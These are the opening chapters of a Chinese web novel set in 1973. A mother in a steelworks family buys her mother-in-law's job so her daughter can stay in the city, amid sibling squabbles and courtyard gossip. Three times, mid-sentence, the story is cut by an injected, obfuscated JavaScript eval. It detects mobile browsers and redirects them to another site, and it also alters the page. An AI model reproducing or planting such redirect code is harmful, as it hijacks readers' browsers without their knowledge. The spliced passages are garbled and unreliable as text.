《小美的幸福纪事[七零]》 1. 乐呵呵的女儿和爱抱怨的儿子 1973年的夏天,又有一届高中生毕业,天气炎热,晒得人直烦且燥,钢铁厂家属院的人更是如此。 全是这下乡闹的,形势越来越严峻,现在下乡已经不能挑地方,分配到哪就是哪,乡下的日子可想而知,在城里长大的孩子哪吃得了这苦啊! 现如今各家是各出奇技,到处找门路。 “熊幼美,快起床了!早上有大肉包子吃。”李虹霞敲闺女的门,敲了半天也没人应声,一推门就倒吸了口凉气,“我的个乖乖,你这是卧室还是废品站啊?” 李虹霞一进来首先看见的就是满床的小人书和铅笔画稿,她闺女就埋在这里面呢。 “你是不是又熬夜看小人书了?挺大个孩子了,怎么还不懂节制呢?这小人书白天看不也一样吗?反正都是你自己买的。”李虹霞嘴上唠叨着,另一边却弯腰帮她把一地的书收拾到一起,不然都没办法下脚。 熊幼美眯着眼睛坐起来伸了个懒腰,黏黏糊糊抱住李虹霞的胳膊:“好妈妈,我这就起床洗漱。” 她一般不睡懒觉,除非前一天晚上熬夜看小人书了。 李虹霞拍拍她的后背,温柔地说:“好好好,醒醒去吃饭吧。” 熊幼美换好衣服去卫生间洗漱,她爸和哥哥都在客厅吃早饭。 熊家除了还在上学的熊幼美,其他人都是响当当的工人,这条件在整个家属楼都是数一数二的。 人少还都挣钱,谁看谁眼红。 就连他们家分的房子也不算小,七十七平米,还算规整的三室一厅,厨房和卫生间都有,足够一家四口住的很宽裕。 这主要归功于李虹霞是街道办妇联主任,为和谐稳定的邻里关系贡献很大,熊爱国是钢厂工作多年的六级锻工,两人加在一块才分到了这个比较宽敞的房子。 “爸,哥,早啊。”路过客厅,熊幼美半眯着眼睛挠了挠自己的卷毛,她是随了李虹霞的自来卷。 只不过李虹霞的黑色卷发尽数盘在脑后,发丝整齐,露出饱满的额头,虽然脸上有些细纹,但是她眼明发亮,衣服干净整齐,一个褶子都没有,整个人透着一股积极向上的精气神儿。 熊桦看不惯,伸张正义:“熊幼美你都多大了还让咱妈给你收拾屋子。” 熊幼美昨天熬夜,现在脑子还没缓过神,李虹霞正好出来,往他背上拍了一巴掌,“我乐意,用你管啊,好好吃你的饭得了。” “爸,你看我妈,重女轻男,都快把熊幼美给宠成公主了。” 坐在他旁边看报纸的熊爱国顺手又给了他一巴掌,拍在了同一个位置,“别胡说,你一大早就想惹事,这话是能乱说的吗?” 这糟心的儿子,没事都能惹出点事儿来,还没有半点好处就让他给断官司,想得美。 熊桦不高兴地撇嘴,他爸就会和稀泥,谁知这还没完,熊爱国又接了一句:“心里知道就行了呗。” “爸,你说话也太气人了吧,咱父子俩应该联合起来共同对抗她们的母女联盟!” “那你能给我啥好处?” 熊爱国倒是没亏了自己的姓,长得人高马大,皮肤黢黑,但是这样一个硬汉子在家属院却是出了名的抠,没有好处的事从来不干,唯一能从他口袋拿出钱的只有他媳妇李虹霞。 因为,怕老婆才是他最大的特点。 “跟自己亲儿子也要好处啊?爸,咱家到底啥家庭啊?” 李虹霞也坐下来吃饭,没好气地说:“啥家庭?双职工家庭,把你养大的家庭。” 接着招呼从卫生间出来的闺女,“小美,快过来吃饭,顺便跟你说个事。” 熊幼美擦干脸,对着镜子把乱糟糟的短毛梳一梳就妥了,镜子里的姑娘脸颊圆润,琥珀色的眼眸明亮闪烁,笑一笑还有颗小虎牙,瞧着就像窗外七八点钟的太阳,灿烂明媚。 她溜溜达达走到客厅,“咋了妈?啥事啊?”再一看餐桌,更高兴了:“今天啥日子啊,大早上就有肉包吃。” “你今天不是要参加毕业考试吗?吃点好的给你补补身体。” 熊桦又有话说了:“妈,我考上中专你才给我下个白面条吃,凭啥一个高中的毕业考试就能吃白面肉包子了?” “关你屁事,爱吃不吃,不吃拉倒,赶紧上班得了。老娘就是疼闺女,你要是不满意就趁早娶个媳妇搬出去住,到时候你想吃什么就吃什么。正好给小美腾出个房间做书房。” 熊桦颇为不忿:“她都毕业了还要书房干啥?我一个中专毕业的都没说要书房呢。” 熊幼美紧跟母亲大人脚步,嘿嘿笑:“我可以看小人书啊,还可以画画。” 李虹霞笑着看她一眼,“小美说的对。” “妈!你出去看看,有哪家像咱家这样重女轻男的,不都是把闺女嫁出去腾房间的吗?” “咱家就这样,不爱待就走!” 说到这里,李虹霞语调加重,有发火的迹象。她这辈子最恨的就是重男轻女,因为她就深受其害。在她看来她根本不是熊桦说的重女轻男,不过是按照别人家对儿子的标准养女儿罢了。 熊爱国偷偷觑媳妇的脸色,他原本是最看重儿子的,老观念里,养老当然是靠儿子,但是谁能想到娶的媳妇就是跟别人家不一样,一门心思宠惯女儿。 两口子就这个事争了好几次,可惜李虹霞同志在街道办妇联当了这么多年的主任,大小也是个干部,在家里更是常年一把手,说一不二。 如今熊爱国跟媳妇统一战线,唯一的愿望就是多攒钱,攒够他和媳妇的养老钱,想想这样也挺好,老年不用看谁的脸色。 熊爱国很能看得开,因为和媳妇作对没啥好处,这事他不能干! “爸,你就不能振作点吗?咱家男人在这个家就一点地位都没有吗?”熊桦扭头看向沉默的熊爱国。 李虹霞语气平静地说:“你们在外面够有地位了,咱家就是我说了算,咱家这日子以前就这么过,以后几十年也会这么过。” 李虹霞的话掷地有声,毫无回转的余地,熊桦耷拉着脑子,重重啃了口肉包子,今日份的起义宣告结束。 熊幼美捧着粥碗边喝边看热闹,眼睛咕哩咕噜转来转去,这事儿在她家隔几天就会上演一次,不稀奇,其实就是她哥想要吸引妈妈注意力罢了! 别看她是家里最小,她哥这些小心思她都明白着呢。 谁说长大就不能撒娇了? 她二十岁虎背熊腰的哥哥就可以! “小美,别看热闹了,你这傻孩子,自家人的热闹也能看这么来劲儿啊。” “嘿嘿,主要是你们就在我面前,不看也不行啊,对了妈,你刚才要跟我说啥事来着?” “说你工作的事呗,你这也马上高中毕业了,咱家两个孩子,没有工作你就得下乡了。” “那咋办呀?妈妈,我不想下乡啊。”说起这么糟心的事也没耽误她大口大口嚼肉包。 闺女是个没成算的吃货,当妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491173|185870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的自然要给她打算好,虽然没外人,但是李虹霞还是下意识压低声音:“我已经想好了,你奶奶现在已经到退休年龄了,正好可以接班。” 熊奶奶是寡妇,年轻时接班了熊爷爷的工作,在废品收购站上班。 熊幼美对废品收购站的工作没有意见,现在的形势她能看明白,有一个工作能留在城里就不错了,只是…… “叔叔姑姑家也有孩子毕业需要工作,能给咱们吗?” “你妈我要是没点把握能跟你说吗?闺女你听妈的,这工作虽然说着不好听,但是起码不用下乡啊。”她以为闺女对这个工作有意见,便开解道。 熊幼美睁着圆圆的眼睛认真点头:“嗯嗯,我都听你的,妈妈。” 李虹霞琢磨着等过一段时间再想办法给闺女找找关系,调换个工作。找关系弄个工作很难,但是换工作还是有几分可能的。 现在还没影儿的事儿,她没说出来,免得闺女失望。 熊桦秒懂李虹霞的意思,“妈,你要跟我奶买啊?那万一大伯和姑姑他们也买呢?” 熊爱国有一个大哥和大姐,还有一个小弟,他排行老三。现在的竞争对手只有大哥和大姐家,老四还没结婚呢。 李虹霞格外霸气地说:“那就加钱,加到你奶满意,反正小美必须留在城里。” 熊桦为他妈的魄力竖起大拇指,他在小事上争风吃醋,但是在妹妹下乡的大事上可不敢瞎搅和,要是小妹最后找不到工作,他怀疑他妈都能要他把工作让出来给小妹,把他撵乡下去。 要问熊爱国随了谁,肯定就随他妈了,财迷一个。 一个寡妇带着四个孩子不容易,养成了抠抠搜搜爱占小便宜的性子,孩子长大后她都抠成习惯了。 熊爱国把他妈当成学习榜样,看他妈多潇洒,自己有钱,养老金攒下不老少,几个孩子再每个月给点养老钱,日子且自在呢。 李虹霞不怕婆婆财迷,就怕她偏心眼加死心眼,好在这老太太钻钱眼。 李虹霞从闺女出生开始每年存一笔钱,本打算供女儿上大学用的,后来大学停了她好悬没气晕,好好的一个大学生闺女,谁能想到大学不让考了。 不过她也没停了给闺女攒钱,这会儿攒钱就是为了给闺女买个好工作,现在这笔钱终于可以用上了,反正也没给外人,就当孝顺婆婆了。 一份工作能卖七八百块钱,这是五六辆自行车的价格,多少人家存款都没有这么多,贵得令人咋舌。 就算这样也是有价无市,几乎没有人往外卖工作,现在有机会往外花钱就不错了。 “那妈你的钱够吗?等我有工资了就都交给你,就当借你的,行不?” 看着初长成翩翩少女却仍稚气未脱的闺女,李虹霞满眼都是疼爱,顺了顺她的小卷毛。 “我闺女太招人稀罕了,不过你的工资自己拿着就行了,姑娘大了兜里有点钱才能有底气。” 熊幼美笑眯眯:“好~” 熊桦没敢再扎刺儿,鼓着脸啃大肉包。 他中专毕业被分配到食品厂当技术员,现在每个月工资四十二块五,工资挺高,但是每个月要上交十块钱生活费。 “妈,我去厂里加班了。”熊桦没眼看这母女俩腻歪,放下碗就走,今天轮到他爸刷碗,可算能潇洒一把了。他们家轮流做饭刷碗打扫卫生,但是她妈非说小妹要上学,没时间干活。 不能想,越想越生气,熊桦的背影都气鼓鼓的。 2. 没有感情,全是交换 熊桦一出门,后面就跟上来一个男青年,肤色很黑,头发油腻,身高一米七多,一副憨厚老实的模样。 “哎,熊桦,你妹妹的工作有着落了吗?” 熊桦在外面是很冷静稳重的,抖落掉他搭在肩上的胳膊,“跟你有啥关系?管好自己就得了。” 这是邻居杨林,和他是初中同学,从小也算一起长大,现在在钢铁厂上班。 “我这不就是问问嘛,要是没有工作可就得下乡了。” 熊桦扯扯嘴角:“怎么?你有工作可以给我妹介绍?” 他这是明知故问,杨林不在意地哈哈笑:“你太看得起我了,现在工作这么紧俏,我哪有工作介绍,我弟弟妹妹还没着落呢,我是来给你出主意的。” 多年的邻居谁不知道谁啊,熊桦就不吭声,憋着他。 他不说话,杨林接着说:“现在留在城里除了工作也可以结婚嘛!” “我妹才十七岁,不能结婚。” “就差一年半年的,不碍事吧。” 熊桦厌烦地扫他一眼,这人真是给脸不要脸,停步抱臂问:“你到底什么意思?” “嘿嘿,我们这么多年的邻居,两家知根知底……” 没等他说完,熊桦皱着眉头打断:“打住,你管好你自己妹妹得了,别癞蛤蟆想吃天鹅肉。” 熊幼美还没毕业,这些犄角旮旯里的牛鬼蛇神都跑出来了,想到最近单位里围着他献殷勤的几个男同志,熊桦就烦得不行,这不就是趁火打劫?也不看看自己什么条件就敢打他妹妹的注意。 这个年代能考上中专无疑是天之骄子,虽然在家里备受“欺压”,但是熊桦在外面是格外骄傲的,斜晲他一眼,甩开杨林自己往前走了,懒得与他多说。 那一眼里有嘲弄,讥讽和鄙视,杨林的脸色唰红,又红又黑,但是不敢找茬。熊桦虽然是技术员,但是基因在那,个子都一米九多了,肌肉硬邦邦,他只敢等人走了,背地里唾一口。 “呸,没有工作,我肯娶她就不错了,不就长得好看点,有什么了不起的,早晚要你们好看!” 亏得熊桦走的快,不然肯定要回头揍他一顿,别看家里闹得欢,但是在外面熊桦总是很维护小美,再怎么说也是至亲。 熊家并不知道这段小插曲,熊幼美刚刚吃完饭,一抹嘴:“妈,我去学校了,今天考完了过几天就可以领毕业证了。” “好好考,别有压力,晚上让你爸做玉米粥喝,你不就好这一口吗?” 她还挺自信,比了个手势,“好呀好呀,没问题,小菜一碟。” 熊幼美的学习成绩中等,但是应付毕业考试不难,吃完饭,跨上小书包就出门了。 关上门,李虹霞还能听到闺女的声音:“小虎,小虎,你吃完饭了吗?快点呀。” 她这是在叫好姐妹,不知道的,听这名字还以为是叫男生呢。 李虹霞笑了,夹了颗小咸菜,“嘿,咱这闺女的大嗓门,一整栋楼的人都能听见了。” 熊爱国:“合该是播音员的苗子,可惜这工作不好找。” “唉,咱家好好的小姑娘,白生生的,我真不乐意她去废品站工作。” “嗐,等以后有机会再给她活动吧。” “也只能这样了。” 熊幼美没等一会小姐妹就出来了,小虎,大名唐虎薇。 她们这儿是连廊家属楼,没有对门邻居,推开门就是连廊和栏杆,阳光充足,晒衣服很方便。一共有五层高,她们家住在三楼,楼梯在中间。 唐家和熊家因为两个小孩年纪相仿又玩的好,所以关系比普通邻居好上许多。 “你今天又早起跑步了?昨天不是下雨了吗?你跑步路上肯定有积水吧。” 昨天晚上下了大雨,她一推开门就能嗅到潮湿的空气,抻头往下看,大院儿的地面也湿漉漉的。 “小熊,早啊。雨半夜就停了,但是锻炼不能停,这种事一耽搁就容易半途而废,你不就是例子?”她促狭地调侃熊幼美。 上中学的时候熊幼美跟着唐虎薇跑过几天,直到下了一场雪,路上又冷又滑,她畏冷,决定歇过这几天再跑。 然后一直歇到了今天…… 唐虎薇留着齐耳短发,五官端正秀气,眉宇间英气勃勃,斗志昂扬。 唐虎薇一家五口,唐父是小学老师,也是他给闺女起的名字,据说翻了好几宿的字典,不过一般人都不太能欣赏就是了。熊幼美倒是很喜欢,因为她们俩的名字里都有一个猛兽。 名字没有起错,唐虎薇一米七五的身高,腿长胳膊长,平时自己还琢磨着锻炼胳膊腿儿,越发展越像大老虎,小偷都抓过不知道多少个了,去年还抓过几个tw。 熊幼美挽住唐虎薇的胳膊,走在她身边太有安全感了。 她们两家都住在三楼,此时下楼路过二楼,碰到了同班同学,杨桃。 这姑娘有四个哥哥,说着好听,可是这日子一点也不轻松,作为唯一的女儿更是没有半分优待,要不是好面子,她爸妈可能都不会让她上高中。 熊幼美顺口招呼:“杨桃,一起上学啊。” 杨桃的个性非常腼腆,小声嗯了一下,如果不是看见她点头,就那蚊子声谁也听不见。 路上她又小声问:“你们的工作找的怎么样了?” 熊幼美和唐虎薇对视一眼,熊幼美:“没有呢,我爸妈的工作不可能给我接班。” 熊幼美虽然被宠惯着长大,但是该教的道理李虹霞都教了。做人要沉住气,事儿还没成呢,不能到处宣扬,不然指不定有什么意外。 唐虎薇虽然虎里虎气,但是这点道理还是明白的,也跟着道:“我还没有着落呢,我家里弟弟妹妹还小,家里负担重,我妈不太想让我接班。” 这也是实话,她还有一对龙凤胎弟妹,她爸是小学老师,不仅工资低,而且地位不高,甚至被称为臭老九,要不是家里贫农成分过硬,现在就被安排扫厕所了。 她妈在钢厂宣传科上班,工资比唐父强一点,但是如果她接班,工资肯定没有现在多了。 杨桃低着头偷偷撇嘴,她根本不信这俩人没着落,其他人都急的上火,这俩人倒是跟以前一样高高兴兴,可见还是有后路。 不过人家不跟她说也没办法。 即使心里如此埋怨,面上还是那个怯懦性子,“我可能要下乡了。” “啊?已经决定了?” 杨桃的父亲是钢厂工人,母亲没工作。四个哥哥,老大参军,老二入赘,老三是杨林,跟人买了个工作,几年前的工作也不便宜,勉强买完,家里就叮当响了。 这四兄弟现在还都是光棍儿,最小的老四和杨桃更是一点着落都没有。 家里负担且重呢,不过谁让他们一口气生五个孩子呢。 熊幼美收获一个幽怨的小白眼,随后杨桃低着头说:“嗯,我爸妈养哥哥们已经很辛苦了,作为女儿就应该孝顺父母,不让父母为难。你如果懂事,也应该主动下乡,这样你爸妈也会为你高兴的。” 熊幼美:“……” 呃,关她啥事? 家属院的人都觉得熊幼美是院里最好命的姑娘。 不说物质条件多富裕,但是家里人的重视是显而易见的。 她的衣服永远是干净合身的,兜里总有零花钱,房间是最明亮宽敞的,不管闯多少祸都有人给她兜底。 她妈李虹霞的口头禅就是:“我家小美还是个孩子……” 总之就是宠孩子没边儿。 许多同龄人对比熊幼美在家的待遇,不免暗暗羡慕,甚至忌妒仇恨。 唐虎薇大大咧咧:“那你就懂事地下乡呗,还跟我们扯这些干啥?” “对啊,你管好你自己就行了嘛,我家的事有我妈管呢,用不着你个普通同学来瞎指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491174|185870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挥。”熊幼美虽然好脾气,但是不是没脾气。 见这俩人一点该有的反应也没有,杨桃咬唇闷着头往前走,这些人一点同情心都没有,她这么懂事可怜凭什么不给她介绍个工作?这些人哪有女孩的样子! “……” 熊幼美:“她啥意思啊?” “谁知道,这人奇奇怪怪的,管她呢,我们也快走吧,今天考试不能迟到。” 唐虎薇最是心大,想不通就拉倒,熊幼美也是同样的没心没肺,拉着唐虎薇大步往前跑,带起的风吹鼓了她们的白衬衫,跑过一片片的树荫。 今天是周末,路上的人不算少,一个二十多岁的年轻人就这么看着两个小姑娘欢快地跑过去,他拂了拂被风吹乱的头发,真是少见这么无忧无虑,快乐自由的人。 另一边的李虹霞也抓紧时间吃完饭骑上自行车就去找婆婆了。 好饭也怕馊,李虹霞揣上存款出门。她们家李虹霞管钱,要是让熊爱国管,这每花一笔钱就心疼一回,太有害健康了。 熊老太太现在和老四住,李虹霞到的时候,老四不知道去哪疯玩了,只看见大嫂和大姑子,看样子最近没少围着老太太献殷勤。 老太太住在大杂院,一进院就有数道目光扫过来,李虹霞空着双手坦荡荡走进来。 大嫂刘丽眼尖嘴巴利:“呦,弟妹来了?来看咱妈就空着手啊?不是当大嫂的说你,咱做小辈的可不能这么不孝顺,是要被人戳脊梁骨的。” 大姑子熊爱花阴阳怪气:“人家可是干部,来看咱妈哪用带礼物啊。” 李虹霞懒得和这两个亲戚论长短,浪费时间,冲着俩人翻个白眼,看向婆婆:“妈,我们去里屋单独聊聊吧,聊的事您肯定高兴。” 人老成精,老太太扫了一眼气闷在原地的儿媳和女儿,以及桌子上几包点心,点点头。 两个人进了里屋关上门,李虹霞果断掏出一牛皮纸包:“婆婆,您也知道我来是为了什么,我不跟您来虚的,这是八百块钱,就当我跟您买了这个工作,你看成不?” 老太太看见那一大包钱,眼珠发直,没想到老三家里居然有这么多存款,不过这是养老钱,价格肯定越高越好。 “老三媳妇儿,你刚才也看到了,这个工作你大嫂还有爱花都盯着呢,她们出的钱可比你这多多了。” 李虹霞差点没忍住笑出声,“哎呦,婆婆诶,您能别扒瞎了吗?这俩人咱俩谁不了解啊?您说她们给你点小恩小惠我相信,但是给这么多钱,我是绝对不相信的。她们肯定想着空手套白狼呢,顶多拿出点诱饵来,和我这个不能比。” 李虹霞不以为然地摆摆手,这俩人都是自私自利惯了的,肯定都觉得亲婆婆和亲妈的工作,哪需要花大钱买啊。 老太太撇撇嘴,感觉很没面子,这俩人早就被人看透了,还觉得能忽悠自己这个没文化的老太太呢。 老太太也不来虚的,直言:“这个价钱不能再涨了?再涨点,咱明天就去办手续!” 李虹霞咬咬牙:“我再给您老加五十,够有诚意了吧?再多加您儿子可就要心疼死了。” 老太太拍板:“行,这事儿成了,不过我现在得点点钱,不然少了咱俩都不好说。” “成成成,您随便点,多不退但少补。”李虹霞心里的石头终于落了地,激动地攥紧手指,就算有把握她也担心出现意外,这下好了,成了! 就等明天办手续了! 李虹霞看着老太太飞快地点钱,等她点完没问题才提醒:“明天上午八点,人家工作人员一上班咱就过去。” “我办事,你放心,钱先放我这里,我肯定不会反悔的。” “成,那我先走了。”李虹霞对婆婆还是很信任的,看着这一沓钱她就不可能反悔。 这通对话听下来,不知道的人听了还以为这是俩生意人在谈买卖呢,不涉及一丝一毫的感情,全是利益交换。 3. 大院日常之跳房子 老太太让李虹霞先出去,自己则美滋滋地把钱藏起来,不错,不错,这些儿子女儿里总算有一个爽快人了。 把钱藏好,老太太丝毫不露端倪,出去继续应付那俩傻鸟。 熊爱花沉不住气,连忙问:“妈,刚才弟妹找你干什么呀?” 刘丽冷笑:“还能为啥,为工作呗,她那宝贝闺女没有工作就得下乡,她可不着急呢嘛。” 老太太坐椅子上挥着扇子,只笑不语。 熊爱花是家庭妇女,家里只有她男人在毛巾厂上班。刘丽家是双职工家庭,按理说可以把自己的工作给儿子接班,但是人啊,就是贪心不足,生怕便宜了别人,宁愿请假也要来这献殷勤。 熊爱花急得跺脚:“您到底咋想的啊,妈,我可是您亲闺女,您忍心看您外孙下乡吃苦受罪吗?” 刘丽一双吊梢眼,说话也很刻薄:“小姑子啊,不是大嫂说你,都说这嫁出去的女儿泼出去的水,你可没资格再回娘家要工作了。” “凭啥?我是我妈亲生的,我妈就得管我,她肯定不能眼睁睁看着我生不如死的,小武就是我身上的一块肉啊,妈,你舍得剜闺女的肉吗?” “咱妈还有亲孙子呢,你这个外孙子可排不上号,妈,您以后可是要我和爱民养老的,浩浩可是您大孙子啊,都说小儿子大孙子,这都是宝贝啊!再说了,浩浩从小就孝顺,妈,您就把工作给浩浩吧,他以后肯定更加孝顺您的。” 这些话如一道小风嗖嗖溜过,老太太是越听越困,打了个哈欠:“你们啊,先回去吧,我会好好想想的。我心里有数,有数,你们放心好了。” 幸好卖给老三家了,老大家的现在就能拿养老威胁,也不是个孝顺的,以后啊,她说不定跟哪个儿子住呢。 老太太摆摆手,也不管她们,兀自闭上眼睛假寐。 要不是看在几包点心的份上,她都懒得搭理这俩人。 刘丽和熊花下意识看了对方一眼,各自冷哼一声,转身走了。 今天周末不上班,李虹霞办完事儿顺道又去了一趟供销社,排队称点绿豆糕给闺女解解暑。 买完回家,她推着车子刚进大院就看见闺女已经考完回来了,正在楼下跟小胖娃一块儿跳房子。 “小熊姐姐,你输了!你刚刚踩线了。” “我没有!你看错了。” “就有!就有!” “没有!没有!” 俩人谁也不服输,扯着嗓子对着喊,一脑门的汗。 唐虎薇在旁边跳绳,锻炼身体,听见了也当没听见,习惯了。 李虹霞默了默,到底没有干预,跟小孩玩总好过去街上整些乱七八糟的幺蛾子。 院子中间有一棵大槐树,绿荫遮蔽,槐香蔓延至整条巷子,这是夏天乘凉唠嗑的好去处,有时候傍晚会有人端着饭碗拿着小马扎来树下吃,一边吃一边看人下棋,惬意的很。 树下扇着蒲扇的大妈格外眼尖,这院子里的人来人往别想逃过她们的眼。 “呦,虹霞啊,又给你闺女买好吃的了?” 李虹霞面上三分笑:“是啊,我家小美还是个孩子呢,多吃长身体。” 几个大妈听她这么说都挺无语的,翻了个白眼,都快能结婚的年纪了,还是小孩儿呢? 还有大妈好奇:“那你闺女这工作你们家咋想的啊,是不是要接你的班啊?” “现在这工作一个萝卜一个坑,虹霞你也别太上火,说不定有招工的呢。”这是看热闹的。 “这事儿急不得,再说你们家仨工人呢,怎么都能让小美接一个吧。” 李虹霞还是笑:“还不知道呢,等有消息了就告诉你们啊。我先走了哈,这绿豆糕晒热了可就不好吃了。” 走前喊了一声:“小美,玩够了就回家,别中暑了!” 熊幼美还跟小孩掰扯呢,也不知道她听没听见。 李虹霞无奈笑着摇摇头,把自行车推到车棚锁上。上楼喝了一大杯水才缓过来,这三伏天可真不好受。 屋里转一圈,家里没人,熊爱国应该是去河边钓鱼了,又能打发时间又能补贴家用,是最适合熊爱国的爱好。 李虹霞把绿豆糕放进柜子里,自己也去了隔壁唐家找唐母闲唠嗑,反正闲着也是闲着。 进唐家之前往下瞅了一眼,熊幼美和小胖娃又和好了,俩人正玩得高兴呢,李虹霞翘起嘴角,自家姑娘怎么看怎么好。 当天晚上,在饭桌上李虹霞就公布了这个喜讯,大家的心也总算尘埃落定,别看家里有些小摩擦,但是都是至亲,只有盼着彼此好的道理。 虽然这次买工作一下拿出了八百五,但是家里的情况其实还好,不会降低家里的生活水平,更不伤及根本。因为他们家孩子少,又一直是双职工家庭,熊桦考上中专后学校有补贴,现在也能挣工资,这钱就攒下不少。 听老妈这么一分析,熊桦瞪大眼睛:“呦,这么说,咱们家还算是这大院顶顶宽裕的人家了呢。” 李虹霞得意:“那当然,全靠你妈我持家有道才攒下这么多,等小美有了工作,咱家就都是工人了。但是在外面一定要低调,咱家不怕事但是也别惹事啊,惹了事还不得用钱平,尤其是你,熊桦,别仗着五大三粗地欺负人啊。” “妈,我哪是那样的人啊,对了妈,今天早上杨家小三子……”熊桦想想还是把上午的事儿说出来,家里人有个防备也是好的。 李虹霞听了就生气,眉毛竖起:“这人真是没数,也不看看自己啥条件就敢吃天鹅肉,还不够恶心人的,下次他再这么说你就骂他一顿,今天早上就算是给他脸了!” 熊爱国也绷紧了肌肉:“这小子都二十八了,家里穷的叮当响,也敢肖想小美,下次再来找没趣,我就收拾她!” 熊桦也是厌恶地点头,同住一个大院,谁不知道谁啊,这家子可不是什么好人家,一家子的自私鬼。 杨家老大当兵走了就没回来,老二入赘也不回来了,到了老三,他爸妈怕了,赶紧给买了个工作,老四现在是个街溜子,知青办来了多少次了,每次要强行带走就故意摔断腿,就为了留在城里。 更别说杨家那对自私蛮横的父母了,谁家想跟他家沾边,那真是生怕自己不被敲骨吸髓。 熊幼美咀嚼着满嘴的玉米粒,眼睛转了一圈,好像没她发言的余地啊。 眼看这家庭会议要结束,她抓紧时间道:“妈妈,爸爸,哥哥,谢谢你们,这些存款都是你们挣的,现在还要拿出很多钱给我买工作,以后我会好好工作,挣钱给你们买礼物!” 李虹霞:“这又没啥,妈攒钱不就是为你嘛,你能过得好就最好了。” 熊桦抱着胳膊吊儿郎当地说:“我的礼物可不要你收集的那些邮票,就算买一盒饼干我都谢谢您嘞。” “哼,你要我还不给呢,顶多送你几块水果糖当感谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491175|185870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 两兄妹这就呛呛起来了,就在这时有人来敲门,李虹霞开门一看,就是白天和小美一起玩的小胖娃。 “怎么了?小胖。” 小胖是外号,大名是庞桐,他爹是钢厂食堂大厨,一家子的体型都胖乎,小庞桐更是圆滚滚的身材,不管从哪里看,小胖这个外号都没叫错。 庞桐噘着嘴,不吭声。 “妈,是庞桐吗?是来找我的。” 小美放下饭碗过来,手一伸,“拿来吧,手下小败将!” 李虹霞:“拿什么呀?” 她家闺女还学会勒索小孩了? 小胖气的两眼呲泪花,但还是慢吞吞地把手从背后掏出来,是一本小人书。 熊幼美接过来,美滋滋地翻看两页,“嘿嘿,就是这一本,我就差这一本就集齐全套了,可惜到处都买不着。” 李虹霞虽然疼闺女,但是也不想闺女成为一个勒索小孩的人,按住她翻书的动作,问:“小胖为什么要给你这个?你威胁他了?” “没有,妈,这是今天玩游戏小胖输给我的。”熊幼美想起白天的累累战绩,不禁大笑。 她笑的越开心,小胖越委屈,终于憋不住,大哭着往家跑。 笑声和哭声形成二重奏回荡在家属楼里。 唐虎薇端着饭碗从隔壁探出头,“他还真给你了啊?” “那当然了,别看小胖小,但是讲诚信呀,啧啧啧,今天太开心了。妈,我回屋看书了啊。” 熊幼美有收集癖,喜欢收集邮票和小人书,每天去的最多的地方就是邮局,书店和供销社。 唐虎薇匆匆扒完饭,碗一放就要走。 “爸,妈,我下去夜跑了。” 唐母:“刚吃饱就跑步对身体不好的,你就不能学学小美安安静静地看书,有个女孩的样子吗?” 唐母姓林,林梅,在钢厂宣传科上班,工作上利落洒脱,但是在家庭上却是很传统的妇女,这本是最常见不过了,但是谁让她有一个颇为“离经叛道”的女儿,母女俩谁也不愿意妥协,所以家里火药味很浓。 李虹霞劝:“这锻炼身体也不是坏事,就让孩子去吧,她都这么大了,喜欢什么就让她做什么吧。” 林梅和李虹霞是一对好朋友,经常凑在一起唠嗑,但是在教育孩子方面却有不小的分歧。 “唉,她要是一直这样毛毛躁躁的,我怎么放心她嫁人,她以后的婆家可不会随着她性子来。” 似乎每一个女孩在没嫁人的时候就有了个“婆家”,一举一动都得讨好这个虚无的“婆家”才行,不然下半辈子就完了。 唐虎薇最讨厌的就是这种话,她烦躁地揉了揉头发,“妈,我说过多少遍了,我是什么样的人,您不能改变,别人更不可能,明天我就办入职,你如果真的看不惯我,我就去住宿舍!” 林梅听到她决绝的话,伤心地捂着脸抽噎,李虹霞沉默,僵着手,最后还是拍着她的肩膀安抚。 唐虎薇却无动于衷,她早就看明白这是她妈逼她妥协的一种手段,她是心大,不是傻。 “妈,今天我去小熊家睡,你们早点休息吧。” 说完唐虎薇就下楼跑步去了。 她走后,林梅才放下手,眼睛红通通,眼神执拗。 似乎是因为唐虎薇长大了,林梅对她的控制欲也越来越强,李虹霞也不知道该说什么,叹口气回自己家了。 4. 派出所与废品站 唐虎薇跑了一通后,心情好多了。 她来熊家跟去自己家差不多,从小来这里串门,对这里太熟悉了。 进门便挨个打招呼,“李姨,熊叔,还有桦哥晚上好啊。” “来了啊,快去卫生间洗洗就上床睡觉吧,热水都是现成的。” “嗯,谢谢李姨。” “嗐,这有啥好谢的,你们姐俩玩去吧。” 唐虎薇洗漱完去熊幼美房间,不出所料,她正趴桌子上看小人书呢。 “这连环画有那么好看吗?” 